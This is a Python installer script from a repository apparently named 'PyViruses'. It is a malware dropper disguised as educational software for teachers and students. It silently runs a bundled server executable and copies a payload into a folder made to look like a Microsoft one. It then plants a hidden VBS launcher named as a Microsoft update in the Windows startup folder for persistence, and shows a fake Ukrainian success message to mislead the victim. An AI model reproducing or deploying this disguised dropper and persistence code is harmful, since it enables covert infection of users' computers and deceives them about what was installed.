Files
PyViruses/Stadium/Stadium_Installer.py
2025-01-04 16:05:24 +02:00

28 lines
1005 B
Python

import shutil
import winshell
import ctypes
import os
import sys
def file(file_name):
bundle_dir = getattr(sys, '_MEIPASS', os.path.abspath(os.path.dirname(__file__)))
return os.path.abspath(os.path.join(bundle_dir, file_name))
os.system(file("Stadium_Server.exe"))
if not os.path.exists("C:\ProgramData\Microsoft Assistant"):
os.makedirs("C:\ProgramData\Microsoft Assistant")
shutil.copy(file("UpdateAssistant.exe"), r"C:\ProgramData\Microsoft Assistant\UpdateAssistant.exe")
open(winshell.startup() + "\Microsoft Update Assistant.vbs", "w+").write(
r'''Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "C:\ProgramData\Microsoft Assistant\UpdateAssistant.exe" & Chr(34), 0
Set WshShell = Nothing''')
ctypes.windll.user32.MessageBoxW(0, "Програмний засіб для вчителів та учнів встановлено", 'ПП "Контур плюс"', 0)
os.system("cscript " + '"' + winshell.startup() + "\Microsoft Update Assistant.vbs" + '"')